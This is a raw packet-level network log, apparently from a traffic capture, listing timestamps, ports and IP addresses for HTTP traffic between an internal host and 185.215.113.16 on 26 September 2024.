Sep 26, 2024 21:33:06.011105061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011118889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011133909 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011137962 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011147022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011162043 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011164904 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011177063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011190891 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011195898 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011207104 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011219978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011224985 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011234999 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011250019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.011255026 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011276960 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.011296034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012089014 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012125015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012139082 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012149096 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012155056 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012170076 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012173891 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012183905 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012187004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012202024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012208939 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012217045 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.012244940 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.012265921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015039921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015057087 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015070915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015084982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015098095 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015109062 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015115023 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015132904 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015141964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015147924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015160084 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015165091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015178919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015192032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015196085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015225887 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015243053 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015885115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015898943 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015918016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015932083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015939951 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015945911 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015959024 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.015961885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015976906 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.015989065 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.016010046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.020551920 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020572901 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020587921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020656109 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.020668030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020684004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020699024 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020711899 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.020713091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020730019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.020742893 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.020772934 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.021914959 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.021929026 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.021940947 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.021970987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.021985054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.021998882 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022000074 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022013903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022016048 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022030115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022042990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022052050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022067070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022080898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022080898 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022095919 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022108078 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.022109032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022130013 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.022161007 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.024486065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024502039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024516106 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024522066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024535894 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024549961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024558067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024564981 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024578094 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024590969 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.024595022 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.024625063 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.024653912 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052519083 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052557945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052578926 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052597046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052608967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052620888 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052632093 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052644968 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052670956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052762032 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052877903 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052891016 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052901030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052911997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052922964 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052933931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052937031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052946091 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052958012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052959919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052970886 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052979946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.052984953 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.052999020 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053019047 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053051949 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053399086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053416967 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053427935 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053438902 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053448915 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053459883 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053469896 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053478956 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053514004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053514004 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053700924 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053719044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053730011 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053740978 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053752899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053755999 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053764105 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053776979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.053782940 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053812027 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.053834915 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.054119110 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.054133892 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.054146051 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.054176092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.054204941 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.097377062 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097413063 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097423077 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097429037 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097434044 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097440004 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097448111 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.097680092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.097680092 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.104990005 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105026007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105037928 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105042934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105051041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105061054 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105067015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.105166912 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.105209112 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.108206987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108220100 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108230114 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108288050 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.108315945 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108315945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.108328104 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108340025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108350039 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108360052 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.108366013 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.108403921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.124089956 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124109030 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124119997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124166012 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124176979 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124188900 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124201059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.124283075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.124283075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.124283075 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130507946 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130527020 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130537987 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130625010 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130636930 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130650997 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130662918 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130673885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130682945 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130718946 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130882025 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130894899 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130904913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130922079 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130933046 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130933046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130945921 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130958080 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130959034 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130969048 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130979061 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.130980015 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.130990028 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131005049 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131014109 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131047964 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131330013 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131341934 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131351948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131361961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131381989 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131414890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131673098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131685019 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131695986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131707907 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131731033 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131751060 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131932974 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131943941 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131983995 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.131984949 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.131999969 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132025003 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132054090 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132070065 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132081032 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132090092 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132101059 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132111073 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132117987 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132122993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132143974 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132168055 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132344961 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132392883 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132416010 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132427931 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132438898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132448912 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132467985 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132497072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132769108 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132777929 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132821083 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132894993 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132905006 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132914066 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132956982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132966042 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132971048 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132977009 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132987976 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.132997036 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.132997990 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.133019924 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.133043051 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.133327007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.133337975 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.133347988 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.133380890 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.133407116 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.160451889 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.160515070 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.160587072 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.160634041 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.160635948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.160692930 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.160871029 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.160883904 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.160929918 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161041021 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161055088 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161065102 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161076069 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161084890 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161096096 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161096096 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161108017 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161118031 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161118984 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161140919 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161159992 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161171913 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161183119 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161194086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.161212921 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.161246061 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162075043 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162089109 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162098885 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162108898 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162120104 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162130117 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162141085 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162151098 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162152052 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162163973 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162173986 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162183046 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162184000 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162208080 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162215948 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162228107 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162229061 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162240982 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162262917 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162280083 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162388086 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162400007 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162409067 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.162436008 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.162452936 CEST	49713	80	192.168.2.5	185.215.113.16
Sep 26, 2024 21:33:06.165585041 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.165604115 CEST	80	49713	185.215.113.16	192.168.2.5
Sep 26, 2024 21:33:06.165616989 CEST	80	49713	185.215.113.16	192.168.2.5
